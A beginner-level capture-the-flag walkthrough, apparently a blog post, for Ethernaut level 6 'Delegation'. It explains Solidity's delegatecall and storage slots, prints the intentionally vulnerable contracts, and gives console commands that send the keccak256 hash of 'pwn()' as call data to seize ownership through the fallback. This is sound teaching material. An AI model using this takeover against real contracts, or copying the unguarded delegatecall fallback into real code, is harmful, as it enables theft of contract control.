Ethernaut - Walkthrough for Noobs - 6

This challenge is also fairly simple and introduces the concept of delegatecall. Per usual, I would give you all the tools to solve this on your own and then provide a solution.

The goal of this level is for you to claim ownership of the instance you are given.

Background

Let's see what a delegate call is according to solidity docs:

delegatecall is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.

in a less jargonish way, a delegatecall basically says, that I am a contract and I am delegating you to do anything with my storage.

For Example:

In a call function: A calls on B, ==> context and storage of B is used.

In a delegatecall function: A delegates call on B, ==> context and storage of A is used.

I don't own the images

Note: "While using delegatecall , understand that it preserves context and only use it when the storage layout is the same for the contract calling delegatecall and the contract getting called"

Here is what storage layout means:

contract Example{
    uint a; //slot 0
    uint b; //slot 1

If the storage layout is not the same the data will go into a different variable.

Code of Importance & Problems

Observe that we have two different contracts here. The explanation for both is in the comments.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner; //sets state variable owner

  constructor(address _owner) { //initializes owner
    owner = _owner;
  }

  function pwn() public { 
    owner = msg.sender; //this can make us the owner..keep in mind. 
  }
}

contract Delegation {

  address public owner;
  Delegate delegate; // a reference to the Delegate contract above

  constructor(address _delegateAddress) { //takes address as input 
    delegate = Delegate(_delegateAddress); //initialises delegate state variable
    owner = msg.sender; //sender is initialised as owner 
  }

  fallback() external { //fallback function (refer 1st challenge)
    (bool result,) = address(delegate).delegatecall(msg.data);//stores the success of delegatecall in result.
    if (result) { //if true creates a 'this' instance.
      this; //keeps going with the contract code. 
    }
  }
}

Now, how to tackle the code, let's backtrace our thinking.

Now, since delegatecall is used, the context (msg.sender, msg.value) of the "Delegation" contract will be used, to invoke the pwn() function in the "delegate" contract.
Also notice that, the storage slot for owner is the same in both contracts.
In short, this will behave as if the pwn() function is in the "Delegation" contract.

Here is briefly the timeline of exploit:

Trigger the fallback function whilst invoking the pwn() function using msg.data.
Triggers the pwn() function in the delegate contract.
but the storage of the Delegation contract is used.
Updates owner = msg.sender(us) according to the pwn() function in the delegation contract.

Solution

Create a new level instance and open up the console.

    var attack = web3.utils.keccak256("pwn()") //saves hashed pwn() in attack.
    //we require the hashed version of pwn() to pass it as msg.data.

    contract.sendTransaction({data: attack}) //sending a transaction with msg.data as attack which will trigger the pwn() function. 
    //Since, there is no function to accept the transaction, it will trigger the fallback function which will delegate it and....Ah Shit, here we go again.

    await contract.owner() //check whether you are the owner.

Submit Instance.

Delegation✅

Ethernaut - Walkthrough for Noobs - 6 - Delegation

Table of contents

Background

Code of Importance & Problems

Solution